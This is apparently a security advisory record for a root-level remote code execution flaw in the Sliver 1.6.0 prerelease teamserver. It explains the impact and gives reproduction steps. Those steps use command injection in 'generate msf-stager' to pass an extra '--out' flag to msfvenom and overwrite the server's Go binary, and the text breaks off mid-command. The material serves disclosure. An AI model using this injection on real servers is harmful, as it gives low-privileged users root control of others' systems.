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EUVD-2026-6408

2026-10-05T19:07:01.605665+00:00

EUVD-2026-6408

fkie_cve-2024-41111

2026-10-05T19:07:01.605707+00:00

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user. The exploit is pretty fun as we make the Sliver server pwn itself. As described in a past issue (#65), "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server. This issue has not yet be addressed but is expected to be resolved before the full release of version 1.6.0. Users of the 1.6.0 prerelease should avoid using Silver in production.

GHSA-hc5w-gxxr-w8x8 — Sliver Allows Authenticated Operator-to-Server Remote Code Execution

2026-10-05T19:07:01.605749+00:00

Affected: Go: github.com/bishopfox/sliver

## Description

Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user.

## Impact As described in a [past issue](https://github.com/BishopFox/sliver/issues/65), "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server.

## Reproduction

First configure the Sliver server [in multiplayer mode and add an operator profile](https://sliver.sh/docs?name=Multi-player+Mode).

Next, compile a slightly older version of the Sliver client. The commit after 5016fb8d updates the Cobra command-line parsing library in the Sliver client to strictly validate command flags.

``` git checkout 5016fb8d VERSION=1.6.0 make client ```

The latest server version is targeted:

``` All hackers gain exalted [*] Server v1.6.0 - bdfd89167dd47aece2397c638d482f94f3f91cba [*] Client 1.6.0 - 5016fb8d7cdff38c79e22e8293e58300f8d3bd57 [*] Welcome to the sliver shell, please type 'help' for options` ```

The exploit uses a command injection in the `generate msf-stager` to inject the `--out` flag to `msfvenom`. We overwrite Sliver's own go binary at `/root/.sliver/go/bin/go`:

``` sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --ad…